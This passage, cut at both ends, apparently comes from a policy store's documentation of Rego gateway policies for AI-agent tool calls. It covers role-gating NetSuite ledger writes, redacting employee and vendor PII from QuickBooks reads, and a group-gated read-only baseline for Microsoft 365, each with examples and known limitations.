in one container from hiding a gated `recordType` supplied in the other (a single-winner merge would fail open for a deny gate). Each container is coerced to `{}` if a gateway populates it with a scalar instead of an object, so a non-object container can neither type-error the read nor evade the gate. If your gateway uses a third key, capture it with the dump-input technique and add it to `arg_containers`. The `data` payload and the `ns_updateRecord` record-identifier field are not inspected — this control is purely about *which record type* is being written, not its contents. ## Identity The gate reads `input.subject.claims.groups` (an array) through `object.get` chains, so a missing subject or missing claim deterministically **fails closed**: no `finance`/`controller` group → the caller is not exempt → the gated write is denied. Group membership is compared case-insensitively and requires an exact group name (`finance` or `controller`); near-misses such as `financeadmin` do not match. ## Examples ### Allowed — finance user posts a journal entry ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_createRecord", "type": "tool" }, "subject": { "claims": { "groups": ["finance"] } }, "payload": { "name": "netsuite-mcp-ns_createRecord", "args": { "recordType": "journalentry", "data": "{\"memo\":\"accrual\"}" } } } } ``` `allow = true`, no reason. ### Allowed — non-financial record type ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_createRecord", "type": "tool" }, "payload": { "name": "netsuite-mcp-ns_createRecord", "args": { "recordType": "customer", "data": "{\"companyName\":\"Acme\"}" } } } } ``` `allow = true` — creating a customer is outside this policy's scope. ### Denied — non-finance caller updates a vendor bill ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_updateRecord", "type": "tool" }, "subject": { "claims": { "groups": ["sales"] } }, "payload": { "name": "netsuite-mcp-ns_updateRecord", "args": { "recordType": "vendorbill", "data": "{\"amount\":9000}" } } } } ``` `allow = false`, `reason = "NetSuite financial-transaction writes (recordType 'vendorbill') are restricted to finance and controller roles. ..."`. ## Composition This policy is single-purpose (role-gate the six ledger record types). Useful companions for NetSuite: - **`guard-vendor-banking`** (PF-10) — deny edits to vendor bank/payment details (anti-BEC); this policy deliberately does **not** gate `recordType == "vendor"`. - **`gate-money-movement`** (PF-09) — cap/deny payments and payouts outside finance groups. - **`default-deny-unknown-tools`** (PF-28) — mandatory on the `/services/mcp/v1/all` endpoint, where custom SuiteScript tools with arbitrary names could otherwise write financial records without triggering the `ns_*` suffix match here. - **`guard-warehouse-sql`** (PF-07) — constrain `ns_runCustomSuiteQL`. ## Known limitations - **Role proxy, not a period-state check.** MCP arguments do not expose whether the target accounting period is open or closed, so this policy cannot detect a genuinely closed period. It approximates closed-period protection by restricting *all* postings/edits of the gated record types to finance and controller roles. A finance user can still post into a closed period; pair with in-NetSuite period-close locking for the true control. - **Group names are placeholders — replace `finance` and `controller` with your IdP's group names at import time.** They are matched against `input.subject.claims.groups`; if your IdP emits roles under a different claim (e.g. `roles`, or a namespaced claim like `https://acme.com/roles`), adjust the `caller_in_finance_group` rule accordingly. - **Record-type key casing.** `recordType` is read from the exact `args` key `"recordType"` (the verified NetSuite parameter name). A client that sent the type under a differently-cased key would not populate NetSuite's `recordType` either, so the write would fail server-side rather than bypass the gate — but if you observe alternate casings in `dump-input`, widen the read to scan keys case-insensitively. - **Missing / omitted / malformed `recordType` passes.** A `ns_createRecord`/`ns_updateRecord` call with no readable `recordType` — or one supplied as a non-string (array/object) or with *internal* whitespace (`"journal entry"`), which stringifies to a value outside the gated set — is allowed, because none of those can create or update a gated financial-transaction record: NetSuite requires a well-formed string `recordType` and rejects the write server-side, so there is no ledger side effect. The gate fires only when a gated record type is actually named. (This is why leading/trailing padding *is* defeated via `trim_space` but interior corruption is not — a corrupted type never reaches the ledger.) See the `tests.yaml` cases covering an omitted `recordType` and an array-valued one. - **`groups` must be a JSON array.** The gate iterates `input.subject.claims.groups` with `some group in …`, so a `groups` claim emitted as a bare scalar string (`"finance"` rather than `["finance"]`) matches nothing and the caller is treated as **not** in a finance/controller group — the gated write is denied. This is fail-closed (safe) but can be a false positive for IdPs that flatten single-group claims to a string; normalize the claim to an array at the IdP or widen `caller_in_finance_group` to also accept a scalar `groups` value if your IdP emits one. See the `tests.yaml` case covering this. - **Gated set is a fixed enumeration — other posting transaction types are not covered.** The gate lists the journal-entry family plus the classic SoD-sensitive AP/AR types. Several *other* record types also post to the ledger and are deliberately **out of scope** here — notably `invoice`, `vendorcredit`, `customerrefund`, `deposit`, `cashsale`, `cashrefund`, `expensereport`, and `paycheck`. Gating all of them at ingress would produce heavy false positives on routine sales/AP flows, so this policy targets the postings most associated with closed-period restatement and journal manipulation. A non-finance caller can still create an `invoice` or `vendorcredit` over MCP. For fuller coverage pair with **`role-gate-writes`** (PF-12, read-only-by-default per app) and **`gate-money-movement`** (PF-09, refunds/payments). Add the extra record types to `gated_record_types` if your close process requires it. See the `tests.yaml` case covering `invoice`. - **`ns_updateRecord` identifier field is unverified.** Oracle's help page for the update record-identifier argument could not be fetched during research; this policy does not depend on it (it keys only on `recordType`), but confirm the full argument shape against a live connector before layering content-level rules on top. - **Standard tools only.** Custom SuiteScript MCP tools on `/services/mcp/v1/all` have arbitrary names and are not caught by the `ns_*` suffix match — combine with `default-deny-unknown-tools` (PF-28). - **Ingress write-gate only.** This policy does not restrict reads of financial data; use the egress redaction and SuiteQL policies for that. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package netsuite.ingress.protect_closed_periods # Deny-by-default: financial-transaction writes are blocked unless the caller # is explicitly in a finance/controller group. Every non-gated call is allowed # by the first `allow` rule below. default allow := false # General-ledger record types whose creation/edit alters the books. Editing # these after posting — or in a closed period — is a restatement risk, so they # are gated behind a finance/controller role. Lowercase for case-insensitive # matching against the request's recordType. The journal-entry family includes # the intercompany / advanced-intercompany / statistical variants, which post # to the GL exactly like a plain journalentry and would otherwise let a caller # reroute a blocked "post a journal entry" request through an ungated type id. gated_record_types := { "journalentry", "intercompanyjournalentry", "advintercompanyjournalentry", "statisticaljournalentry", "vendorbill", "vendorpayment", "customerpayment", "check", "creditmemo", } # IdP groups permitted to post/alter financial transactions. Placeholders — # remap to the tenant's IdP group names at import time. finance_groups := {"finance", "controller"} # Tool name, lowercased and defensively defaulted. The gateway prefixes the # configured server name, so match on the ns_ tool suffix for portability. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # The two NetSuite record-write tools. is_financial_write if { endswith(tool_name, "ns_createrecord") } is_financial_write if { endswith(tool_name, "ns_updaterecord") } # Coerce a value to an object, defaulting to {} when it is not one. Keeps the # recordType read below from type-erroring (which would leave a candidate # undefined and silently disable the gate — a fail-open) if a gateway populates # an argument container with a scalar instead of an object. as_object(x) := x if is_object(x) as_object(x) := {} if not is_object(x) # Argument containers. The DTwo gateway schema documents tool arguments under # `payload.args`; the NetSuite landscape note documents `payload.arguments`. # We inspect BOTH independently rather than merging them into one object with a # single winner: a merge (e.g. `object.union` with `arguments` winning) lets a # decoy value in the winning container hide a gated recordType supplied in the # losing one, which is fail-open for a deny gate. Gating on either container # closes that hole regardless of which key the gateway actually populates. arg_containers := [ as_object(object.get(object.get(input, "payload", {}), "args", {})), as_object(object.get(object.get(input, "payload", {}), "arguments", {})), ] # recordType read from a single container, stringified (so a stray numeric id # can't type-error lower()), lowercased, and whitespace-trimmed. "" when # recordType is absent. trim_space defeats leading/trailing-whitespace padding # (e.g. " journalentry") that would otherwise miss the gated-set lookup. record_type_in(container) := trim_space(lower(sprintf("%v", [object.get(container, "recordType", "")]))) # Every gated recordType named across either argument container. A non-empty # set means the write targets a gated financial-transaction type; a decoy value # in one container cannot suppress a gated value in the other. gated_targets := {rt | some container in arg_containers rt := record_type_in(container) gated_record_types[rt] } # A gated write = a create/update that names a gated financial-transaction # record type in either argument container. is_gated_write if { is_financial_write count(gated_targets) > 0 } # True only when the caller carries a finance or controller group claim. # Uses object.get chains so a missing subject/claims/groups fails closed. caller_in_finance_group if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some group in object.get(claims, "groups", []) is_string(group) finance_groups[lower(group)] } # Allow anything that isn't a gated financial write. allow if { not is_gated_write } # Allow gated financial writes only for finance/controller callers. allow if { is_gated_write caller_in_finance_group } # Deny a gated write when the caller is not in a finance/controller group. reasons contains msg if { is_gated_write not caller_in_finance_group msg := sprintf("NetSuite financial-transaction writes (recordType '%s') are restricted to finance and controller roles. Posting or altering ledger transactions — especially in a closed accounting period — is a restatement risk, so segregation-of-duties controls gate this action. Ask a finance or controller colleague to make the change, or request the appropriate group membership from your finance systems administrator if you believe this is a false positive.", [concat(", ", sort(gated_targets))]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### QuickBooks: Redact Employee & Vendor PII on Read URL: https://www.intentbasedpolicy.com/policies/quickbooks/redact-pii-egress-employee App(s): quickbooks | Direction: egress | Bundles: gdpr-ccpa, soc2 | Package: quickbooks.egress.redact_pii_employee | Published: 2026-07-12 | Tags: quickbooks, redact-pii, pii, redaction, dlp, egress, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/quickbooks/redact-pii-egress-employee/policy.md # quickbooks / redact-pii-egress-employee **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `quickbooks.egress.redact_pii_employee` ## What it does On the read path, this policy masks sensitive identifiers in the responses of four QuickBooks Online (QBO) name-entity read tools — `get_employee`, `search_employees`, `get_vendor`, and `search_vendors` — before the response reaches the agent. QBO Employee records carry an SSN, a home address, and pay data; QBO Vendor records can carry bank-account and tax-ID (EIN) details used for ACH bill-pay and 1099 reporting. Those fields are rewritten to a fixed redaction token (`[REDACTED]`) in the response so an out-of-group agent never receives them. The redaction happens **only in the response returned to the caller** — the underlying QBO record is untouched. All other tools, and responses with none of the targeted fields, pass through byte-identical. The policy is transform-only (`default allow := true`): it never denies a call. ### Group exemption (fails closed) Callers whose IdP `groups` claim contains `hr` or `finance` (placeholder names — see Known limitations) receive the **unredacted** response. Group membership is read via an `object.get` chain rooted at `object.get(input.subject, "claims", {})`: a missing subject, missing claims, or missing/`non-array` `groups` claim means the caller is *not* exempt and redaction applies. The grant **fails closed** — no group means redaction. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in QBO Employee/Vendor records as they leave the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal information use to identified purposes by keeping direct identifiers out of agent context that doesn't need them; **P6.1** — supports controlling disclosure of personal information by masking it before it reaches the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data: only placeholder `hr`/`finance` members see raw identifiers, everyone else gets working records with SSN/address/bank/EIN masked. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing by keeping high-value identifiers (SSN, bank account, EIN) out of the agent channel. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information; under CPRA, SSN and financial-account numbers are expressly sensitive PI. ## Why egress The PII already lives in QBO — there is nothing to block at ingress, and denying the read outright would make Employee/Vendor records unusable for legitimate agent tasks (e.g. reconciling a vendor by name). The leak happens when the record is returned to the MCP client, so the response path is the only place to mask the identifiers while keeping the rest of the record usable. ## Tool name matching Applies on the output path — scoped when **any** of the three egress signals holds: `input.mode == "output"`, the PARC `input.action == "tool_post_invoke"`, or the legacy `input.kind == "tool_post_invoke"`. Keying on only a subset fails open (redaction no-ops, leaking PII) on a build that populates a different one — an older gateway near the minimum version may emit only the legacy `kind`. Tools are matched case-insensitively **by suffix**, so the policy works regardless of the MCP server-name prefix the gateway adds (`quickbooks-mcp-…`, `qbo-prod-…`, etc.). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope. Matched suffixes (Intuit official `verb_entity` vocabulary; the Claude connector is assumed to share it — see Known limitations): - `get_employee` - `search_employees` - `get_vendor` - `search_vendors` Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response / field shape Redaction is applied by the gateway from this policy's `transform` object, which combines two mechanisms (see the DTwo transform reference): - **`redact_fields`** — QBO object keys matched case-insensitively and recursively, so listing a top-level key (e.g. `PrimaryAddr`) also masks its nested values (`Line1`, `City`, `PostalCode`, …). Covers SSN, home address, and pay data on Employee; tax ID, bank account, and ACH bank detail on Vendor. - **`redact_patterns`** — field-name-agnostic regex backstops for the two highest-signal identifier shapes (US SSN `XXX-XX-XXXX`, US EIN `XX-XXXXXXX`), so a value carried under an unexpected key is still masked. Both are keyed to the exact QBO object shapes, which the landscape research does **not** verify — confirm the field names against a live sample response before production use (see Known limitations). ## Examples ### Redacted (Employee read, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "quickbooks-mcp-get_employee", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["sales"] } }, "payload": { "name": "quickbooks-mcp-get_employee", "text": ["{\"Employee\":{\"SSN\":\"123-45-6789\",\"PrimaryAddr\":{\"Line1\":\"1 Main St\"}}}"] } } } ``` `allow = true`, with `transform` present: the gateway masks the `SSN` and `PrimaryAddr` fields (and the SSN pattern) to `[REDACTED]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "quickbooks-mcp-get_vendor", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["finance"] } }, "payload": { "name": "quickbooks-mcp-get_vendor", "text": ["{\"Vendor\":{\"TaxIdentifier\":\"12-3456789\"}}"] } } } ``` `allow = true`, no `transform` — the `finance` group receives the raw record. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same egress pipeline. Recommended companions in `apps/quickbooks`: - **A finance-group write gate** (ingress) so redacted-on-read records aren't simply re-created or exfiltrated through a write. - **A bulk-export throttle** on `search_*` (ingress) that strips `fetchAll` and caps `limit`, so a non-exempt caller can't pull the entire employee/vendor roster in one call and dilute the value of per-record masking. ## Known limitations - **QBO field names are unverified.** The `redact_fields` list uses the QBO v3 object shapes (`SSN`, `PrimaryAddr`, `BillRate`, `TaxIdentifier`, `AcctNum`, `BankAccountNumber`, `BankBranchIdentifier`, `VendorPaymentBankDetail`), but the landscape note does not verify the JSON keys the MCP server actually returns. **Confirm the field paths against a live sample response before production use** and add any deployment-specific keys. The SSN/EIN `redact_patterns` are a shape-based backstop for values under unexpected keys, but they only catch the canonical hyphenated forms. The field list is intentionally scoped to **high-value identifiers** (SSN, home address, pay, tax ID, bank/ACH detail). Other personal data these records carry — employee/vendor **email** (`PrimaryEmailAddr`), **phone** (`PrimaryPhone`/`Mobile`), and **date of birth** (`BirthDate`) — is *not* in `redact_field_names` and does not match the SSN/EIN patterns, so it passes through to a non-exempt caller. This is a minimum-necessary layer, not blanket PII redaction; add those keys to `redact_field_names` if your minimisation obligation requires masking them too. - **Redaction is scoped to four name-entity read tools.** Field- *and* pattern-redaction fire only for `get_employee` / `search_employees` / `get_vendor` / `search_vendors`. The same SSN/EIN/bank identifier reaching the agent through a **different** read surface — a financial report (General Ledger, Vendor Expenses), `get_company_info`, or `get_attachable`/`search_attachables` (attachment notes can embed a scanned W-9/W-4 with an SSN/EIN) — is **not** masked, because the transform (and therefore the pattern backstop) is never emitted for out-of-scope tools. Pair this policy with a report/attachable read gate or a broader all-tools `redact_patterns` egress policy if those surfaces are reachable. - **Tool names assumed for the Claude connector.** The Intuit official server uses the `verb_entity` names above; the Anthropic-directory "Intuit QuickBooks" connector does not publish its tool names, so they are treated as *unverified* — capture the live `tools/list` through the gateway and add exact suffixes if they differ. The parameterized community server (`hvkshetry/quickbooks-mcp`, archived) exposes a single `party` tool with a `party_type` argument and is **not** matched by these suffixes. - **Pattern detection is best-effort.** Obfuscated, spelled-out, split, or non-hyphenated identifiers are not caught by `redact_patterns`; over-broad matches (a 9-digit EIN-shaped run that is not an EIN) can be over-redacted. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Group names are placeholders — replace `hr` and `finance` with your IdP's group names at import time.** The exemption is granted only for a `groups` claim shaped as an array of strings (a single bare string is also handled). Any other shape fails closed → redaction applies: a missing subject/claims/`groups`, an object/map (e.g. a namespaced claim like `{"department": "finance"}`), and nested/non-string array elements are all treated as *not exempt*. If your IdP emits roles under a namespaced claim, adjust `caller_groups` to point at the array before matching. - **Egress redaction only.** This masks what the agent reads; it does not stop an exempt caller from re-sharing raw data, nor does it touch the web-UI or native-API paths into QBO. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package quickbooks.egress.redact_pii_employee # Transform-only egress policy: rewrites Employee/Vendor PII in QuickBooks # Online name-entity read responses to a fixed redaction token before the # response reaches the agent. Never denies. Callers in an exempt IdP group # (hr/finance) receive unredacted responses. default allow := true # ----------------------------------------------------------------------------- # Scope: QBO name-entity read tools whose responses carry Employee/Vendor PII. # Suffix matching keeps the policy portable across gateway server-name prefixes. # Names follow the Intuit official `verb_entity` vocabulary; the Claude # connector is assumed to share it (unverified — see Known limitations). # ----------------------------------------------------------------------------- pii_read_suffixes := { "get_employee", "search_employees", "get_vendor", "search_vendors", } # Egress scope: match the post-invoke/output path on ANY of the three egress # signals the gateway may populate — mode ("output"), the PARC action, or the # legacy `kind` alias. Keying on only a subset fails open (redaction no-ops, # leaking PII) on a build that populates a different one: an older gateway near # the minimum version may emit only the legacy `kind` while leaving `action`/ # `mode` unset. Ingress (tool_pre_invoke / mode "input") satisfies no branch. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } is_egress if { input.kind == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a targeted suffix — matching only a subset would let a gateway that # populates a different surface slip a record past the scanner. candidate_names contains lower(object.get(input.resource, "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_pii_read_tool if { is_egress some suffix in pii_read_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP groups whose members receive unredacted # responses. Replace "hr" / "finance" with your IdP's group names at import # time. Group membership is read via an object.get chain rooted at # object.get(input.subject, "claims", {}): a missing subject/claims/groups # claim is never exempt — the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"hr", "finance"} caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) is_exempt if { # Only a flat array of group strings grants the exemption. The is_array guard # is load-bearing: `some g in caller_groups` over an OBJECT iterates its # values, so a namespaced/metadata claim like {"department": "finance"} would # else wrongly exempt the caller. is_string(g) keeps nested/non-string # elements from matching. Anything but a clean array of strings fails closed. is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Redaction instruction. QBO object keys carrying Employee/Vendor PII, matched # case-insensitively and recursively by the gateway (so a top-level key also # masks its nested values, e.g. PrimaryAddr.{Line1,City,PostalCode}). These key # names are the QBO v3 object shapes and are NOT verified in the landscape note # — confirm against a live sample response before production use. # ----------------------------------------------------------------------------- redact_field_names := [ # Employee PII "SSN", # Social Security Number "PrimaryAddr", # home / primary address (structured sub-object) "BillRate", # pay / billing rate # Vendor PII "TaxIdentifier", # EIN / tax ID (1099) "AcctNum", # vendor-assigned account number "BankAccountNumber", # ACH bank account "BankBranchIdentifier", # ACH routing / branch "VendorPaymentBankDetail", # ACH bank-detail sub-object ] # Field-name-agnostic backstops for the two highest-signal identifier shapes, # so a value carried under an unexpected key is still masked. Anchored to the # canonical hyphenated forms to limit false positives. redact_patterns_list := [ `\b\d{3}-\d{2}-\d{4}\b`, # US SSN, canonical XXX-XX-XXXX form `\b\d{2}-\d{7}\b`, # US EIN, canonical XX-XXXXXXX form ] # Transform — emitted only when this is a targeted read tool on the egress path # and the caller is not exempt. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response unchanged. transform := { "redact_fields": redact_field_names, "redact_patterns": redact_patterns_list, "replacement": "[REDACTED]", } if { is_pii_read_tool not is_exempt } ``` ### Read-Only Baseline: Group-Gated Microsoft 365 Writes URL: https://www.intentbasedpolicy.com/policies/ms365/role-gate-writes App(s): ms365 | Direction: ingress | Bundles: soc2, gdpr-ccpa, sox | Package: ms365.ingress.role_gate_writes | Published: 2026-07-12 | Tags: ms365, role-gate-writes, ingress, least-privilege, soc2, gdpr-ccpa, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/role-gate-writes/policy.md # ms365 / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — reads pass for everyone, writes only for the writer group **Package:** `ms365.ingress.role_gate_writes` ## What it does The least-privilege baseline for Microsoft 365 through the gateway: every tool call is allowed only if it is a **read**, or the caller's IdP token carries the write-authorized group (placeholder: `m365-writers`). Everything that is not recognizably a read — sends, creates, updates, deletes, uploads, shares, reactions, calendar responses, `graph-batch`, and any verb the policy has never seen — is treated as a write and denied for callers outside the group. When identity claims are absent the policy fails closed: no groups, no writes. The softeria `ms-365-mcp-server` (the primary policy target) also ships a server-side `--read-only` flag. This policy is the gateway-side equivalent, with two advantages: it is enforced even if the server flag is dropped or the server is redeployed without it, and it supports **per-user** gating — trusted users in `m365-writers` keep write access while everyone else gets a read-only tenant view over the same connector. ## Compliance alignment - **SOC 2 CC6.1 / CC6.3** — supports logical access security and role-based least privilege over the M365 estate on the agent channel: write capability is granted by role, not by connector possession. **CC6.2** — the grant rides on live IdP claims, so deprovisioning a user in the IdP revokes agent write access with no gateway change. **PI1.2** — only authorized principals can submit state-changing inputs. - **HIPAA §164.502(b)/§164.514(d)** (minimum necessary) and **§164.308(a)(4)** (information access management) — mailbox, drive, and Teams write surfaces are limited to a defined workforce role; **§164.312(a)(1)** — per-call, identity-bound access control on the MCP path; **§164.308(a)(3)** — supports termination effect via IdP-claim liveness. - **GDPR Art. 25** — data protection by default on the agent channel (the default posture is read-only); **Art. 29 / 32(4)** — supports processing only on the controller's instructions by stopping unauthorized principals from acting on personal data; **Art. 5(1)(b)** purpose limitation (partial). **CCPA §1798.100(e)** — reasonable security procedures (partial). - **SOX ITGC (access to programs and data)** — supports least-privilege access to financially relevant systems (Excel workbooks, SharePoint lists) reached through M365; **COSO P10 SoD** (partial) — read-everyone/write-few is the coarsest separation-of-duties cut. ## Tool name matching The softeria server names tools `verb-noun` (kebab-case), and the DTwo gateway prepends the configured MCP server name (observed live as `ms365-`, e.g. `ms365-list-mail-messages`). The policy therefore classifies by the **verb segment**, matched case-insensitively on `lower(input.resource.name)` as a whole hyphen-delimited segment — either at the start of the name (unprefixed deployments) or immediately after a `-` (prefixed deployments). Write verbs additionally match as the **final** segment of the name, so a trailing write verb can never hide behind a leading read verb: - **Read verbs:** `list-`, `get-`, `search-`, `download-`, `extract-`, `find-`, `parse-` (e.g. `ms365-get-drive-item`, `ms365-search-query`, `ms365-download-bytes`). - **Write verbs:** `create-`, `send-`, `update-`, `delete-`, `add-`, `remove-`, `upload-`, `move-`, `copy-`, `share-`, `reply-`, `forward-`, `set-`, `clear-`, `cancel-`, `format-`, `sort-`, `merge-`, `insert-`, `pin-`, `accept-`, `decline-`, `tentatively-`, `dismiss-`, `snooze-`, `unmerge-`, `unpin-`, `unset-`, `reauthorize-`. A name is a read only when a read verb matches **and no write verb matches anywhere in the name** — so `ms365-create-sharepoint-list-item` (which contains `-list-` as a noun fragment) resolves to the stricter write class. Names matching neither list (e.g. `ms365-graph-batch`) are writes. Segment matching also keeps noun fragments from triggering write verbs: `-pinned-`, `-settings`, `-shared-`, and `-sharepoint-` do not match `pin-`, `set-`, or `share-`. The `ms365-` prefix is a deployment choice, not a standard — verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy inspects only the tool name and the caller's identity claims — it never reads `input.payload.args`. The writer grant checks for the literal string `"m365-writers"` in `object.get(input.subject, "claims", {}).groups`, which must be an **array** of strings (the common IdP shape) — the Rego enforces `is_array` explicitly, so an object- or string-shaped `groups` claim never grants. The match is exact and case-sensitive (`"M365-Writers"` does not grant). A missing `subject`, missing `claims`, missing `groups`, or a non-array `groups` value all resolve to "not a writer" — the policy fails closed for grants. ## Examples ### Allowed — read, no identity needed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-list-mail-messages", "type": "tool" }, "payload": { "name": "ms365-list-mail-messages", "args": {} } } } ``` `allow = true`, no reason. ### Allowed — write by a group member ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-send-mail", "type": "tool" }, "subject": { "sub": "google-apps|pat@example.com", "claims": { "groups": ["engineering", "m365-writers"] } }, "payload": { "name": "ms365-send-mail", "args": { /* ... */ } } } } ``` `allow = true`. ### Denied — write without the group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-send-mail", "type": "tool" }, "subject": { "sub": "google-apps|sam@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "ms365-send-mail", "args": { /* ... */ } } } } ``` `allow = false`, `reason = "This Microsoft 365 tool call is a write, which requires membership in the m365-writers IdP group (...)"`. ## Composition This is the app's baseline; membership in `m365-writers` is necessary for any write but **not sufficient** for the highest-risk ones. Destructive operations (`delete-*`, `remove-*`, `cancel-*`), directory and group mutations, mailbox persistence (`create-mail-rule`, `create-subscription`, mailbox settings), and external email/Teams sends remain subject to the stricter companion policies (`freeze-destructive-ops`, `freeze-identity-plane`, `guard-mailbox-persistence`, `guard-external-send`) even for group members — policies compose with AND, so the strictest attached policy wins. Pair it also with a `graph-batch` / raw-passthrough deny (`deny-escape-hatches` family): this policy classifies `graph-batch` as a write, but writer-group members could otherwise reach arbitrary Graph endpoints through it. ## Known limitations - **Group names are placeholders** — replace `m365-writers` with your IdP's group name at import time, and confirm your IdP actually emits a `groups` claim (Entra ID requires the groups claim to be configured on the app registration; Auth0 needs an Action or RBAC setup). The membership check is exact and case-sensitive — a claim of `"M365-Writers"` denies (fails closed), so copy the group name from your IdP verbatim. - **Verb-list drift.** New tools with unknown verbs deny by default for non-writers (fail closed). The residual risk is a future *write* tool whose **leading** verb is not in the write list but whose name contains a read verb as a later segment (no such tool exists in the verified softeria inventory today) — it would classify as a read. Trailing write verbs are covered (write verbs also match as the final segment), so only an unknown-leading-verb + embedded-read-verb name can slip. Re-check the lists when the upstream server adds tools. - **Verb false positives are conservative.** A few tools are writes by verb but read-like in effect — e.g. `create-drive-item-preview` (renders a preview, persists nothing). They deny for non-writers. Misclassification here only ever over-blocks; add a narrow exact-name allow rule if a specific one matters to your users. - **All ingress hook kinds are gated.** The policy does not filter on `input.action`, so `prompt_pre_fetch` and `resource_pre_fetch` events on the same pipeline are classified by the same verb rules and fail closed — non-writers are denied prompt/resource fetches whose names don't start with a read verb. The softeria server is tool-only, so this is theoretical there; on mixed servers, add an explicit allow for those hook kinds if read-equivalent. - **Softeria vocabulary only.** Single-tool passthrough servers (`merill/lokka`'s `Lokka-Microsoft`) and the Anthropic-hosted M365 connector (tool names unpublished, not gateway-routable) defeat name-based classification — for Lokka, gate on the `method` argument instead; the Anthropic connector is a coverage gap to flag, not a policy target. - **Reads are not harmless.** `download-bytes`, `search-query`, transcript reads, and `fetchAllPages` Excel reads bulk-export data yet pass this policy for everyone. Pair with the egress redaction and bulk-export-cap companions. - **Non-array `groups` claims fail closed** — an IdP that emits `groups` as a single string will deny all writes until the claim is mapped to an array (or the policy is adapted). > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package ms365.ingress.role_gate_writes # Read-only baseline: reads pass for everyone, writes require the writer group. default allow := false # Verb segments that identify read-only Microsoft 365 tools (softeria # ms-365-mcp-server vocabulary, verified from a live gateway deployment). read_verbs := { "list", "get", "search", "download", "extract", "find", "parse", } # Verb segments that identify writes. A name matching any of these is a write # even if it also contains a read verb deeper in the name (e.g. # create-sharepoint-list-item contains "-list-" as a noun fragment) — # ambiguity resolves to the stricter class. write_verbs := { "create", "send", "update", "delete", "add", "remove", "upload", "move", "copy", "share", "reply", "forward", "set", "clear", "cancel", "format", "sort", "merge", "insert", "pin", "accept", "decline", "tentatively", "dismiss", "snooze", "unmerge", "unpin", "unset", "reauthorize", } # Case-insensitive tool name; missing fields resolve to "" (fail closed). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # A verb matches only as a whole hyphen-delimited segment: at the start of the # name (unprefixed deployment) or right after a "-" (gateway server-name # prefix, e.g. "ms365-list-mail-messages"). This keeps noun fragments like # "-pinned-", "-settings", or "-shared-" from matching "pin-"/"set-"/"share-". verb_in_name(verb) if { startswith(tool_name, sprintf("%s-", [verb])) } verb_in_name(verb) if { contains(tool_name, sprintf("-%s-", [verb])) } matches_read_verb if { some verb in read_verbs verb_in_name(verb) } matches_write_verb if { some verb in write_verbs verb_in_name(verb) } # Write verbs additionally match as the final segment (no trailing hyphen), so # a name with a leading read verb and a trailing write verb (hypothetical # "get-chat-message-unpin") cannot classify as a read. Read verbs deliberately # do NOT get final-segment matching: a trailing read noun (the "list" in # "delete-todo-task-list") must not soften a write, and an unknown-verb name # stays a write. matches_write_verb if { some verb in write_verbs endswith(tool_name, sprintf("-%s", [verb])) } # A read is a read verb with no write verb anywhere in the name. Everything # else — write verbs, both-class names, unknown verbs, missing names — is # treated as a write. is_read_tool if { matches_read_verb not matches_write_verb } # Writer grant: the IdP 